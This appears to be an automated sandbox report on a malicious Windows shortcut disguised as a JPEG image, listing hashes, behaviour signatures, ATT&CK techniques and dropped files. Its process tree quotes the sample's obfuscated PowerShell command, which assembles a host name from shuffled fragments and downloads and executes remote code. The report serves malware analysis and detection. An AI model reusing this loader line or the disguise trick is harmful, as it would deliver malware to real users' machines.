daccfc4c8470c1811a92adb72edf17867f2400c6871b264d942c1c6c2a0ba02a

Analysis

max time kernel
148s
max time network
147s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/07/2026, 10:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260727_200317.jpg.lnk
Size 1KB
Sample260728-mca1tagf47
SHA256 daccfc4c8470c1811a92adb72edf17867f2400c6871b264d942c1c6c2a0ba02a
MD5 6377c9020a922b64a451dfc5e1457880
SHA1 7df1a3fbc69348d07adb7a4f5740bc97d67f28da
SHA512 52cb6723e3e4633c2afe51178bc75152d99e480a3e6ce15b81e84b4c2ab3d979414ef40ac7917371edd383c07f1db10a6a67513a4765e1eb34e2cfb5a07ddee4
TLSH
T15331C0299BF20329D6BB8B355872631186317B0EDA5DDFDF1280D2949965120F878F3B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	5908	powershell.exe
8	5908	powershell.exe
10	5908	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3184	cmd.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe
5908	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5908	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3184 wrote to memory of 5908	3184	cmd.exe	90
PID 5908 wrote to memory of 4204	5908	powershell.exe	91
PID 4204 wrote to memory of 2124	4204	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_200317.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('reservph','o','n','st','h','o','ay','p','to','ow.s','in')[0,1,8,10,3,6,2,9,4,5,7] -join $rWGkQa9a) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5908
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\iqifbzxy\iqifbzxy.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4204
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3C82.tmp" "c:\Users\Admin\AppData\Local\Temp\iqifbzxy\CSC307D272B70C64054BA2A38E87E4A180.TMP"
      4⤵
      PID:2124

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES3C82.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES3C82.tmp
Size 1KB
SHA256 b5ee7a499cb6914dc4b49a329307d8ddf4660dc3dd985e42377f788f4a108c65
MD5 742c00a96ecf5b6c8cccd2ae21f3a446
SHA1 bb00ccb6480a182b6678d5e3a1ede31cf61e69f2
SHA512 91bdfefe650a2ce21c24435782fe6da0e5d67238e64a601928b80e2c14592af022f624def0dbcc065aac286713603f9202f4fdb9fd2852d103e5271068654c4b
TLSH
T183218C0553E98B0FF0B747326EFA176BA278FD64EFA2675A8544022D2C41504FEA1E72
MD5 SHA1 SHA512 TLSH

Submit Download

iqifbzxy.dll

Path C:\Users\Admin\AppData\Local\Temp\iqifbzxy\iqifbzxy.dll
Size 3KB
SHA256 097cb84cacdd30971e784a357b5bf1a183f7de4b1d3fb30b82479b755bf3d3a2
MD5 449917f97cb6e85973938dbb1e3e609d
SHA1 376d696164a49db93a329cf72e908d19d6c54f33
SHA512 61209628c9cfc4f2f206c56b2a991cbea99010a845cd4f6dfb3fa5f9fbcff5cc07bb98cc590f055c3845fe3d54e804ef244e324489a96579b5c6b1a81559e831
TLSH
T19851CA1697E8462BE4A70734AEF3035337B4F8109FB2576959840229AC207546E32FB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC307D272B70C64054BA2A38E87E4A180.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\iqifbzxy\CSC307D272B70C64054BA2A38E87E4A180.TMP
Size 652B
SHA256 ffa30e734262d6d17f05b9e789637549c253ff2a4d5e9f278b7c030b8ddc43be
MD5 1f0e1391872771fb1368bff8026f2a7e
SHA1 18883d5a1412ebbeb4830597814213684396fd62
SHA512 105e179af0637838c9b310df8c9329b47f7b5833defbf6f298db2d57394c5d8f205ffe37383634048b61e87c2dee81f4925941b0f9bc1187cf7383b45a3ca4d5
TLSH
T111F0820963F8420EF0F34B30BDF643A391A8BC64DE7293ED1484031D2C645109962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

iqifbzxy.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\iqifbzxy\iqifbzxy.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

iqifbzxy.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\iqifbzxy\iqifbzxy.cmdline
Size 369B
SHA256 7a5dac43d4d64fdf79c908a6f33db49f8dc91d3c9232f3af2329743cc554f178
MD5 30bea4229dd4b64fbca54ad94e8d14b3
SHA1 2d58083108808b4c509344fd50ca7d1b1acecf26
SHA512 4ec1f8b400e750d24a6ae2d8d3dd16bce3dcec86ab6101359d01cde5490076568de3540f998d702b21b402a2242e38877f9ace2d2b57753338d93fa87c16ea8e
TLSH
T11FE0C02A5246C27D41ED110B717AE5AEF67207432D40FF84D1504C0ED01700837D3FC5
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5908-10-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

Download

memory/5908-18-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

Download

memory/5908-11-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

Download

memory/5908-12-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

Download

memory/5908-13-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

Download

memory/5908-14-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

Download

memory/5908-15-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

Download

memory/5908-16-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

Download

memory/5908-17-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

Download

memory/5908-2-0x00007FFE1914F000-0x00007FFE19150000-memory.dmp

Download

memory/5908-19-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

Download

memory/5908-9-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

Download

memory/5908-8-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

Download

memory/5908-7-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

Download

memory/5908-6-0x000002206E790000-0x000002206E7B2000-memory.dmp

Download

memory/5908-3-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

Download

memory/5908-33-0x000002206E760000-0x000002206E768000-memory.dmp

Download

memory/5908-34-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

Download

memory/5908-35-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

Download

memory/5908-39-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp

Download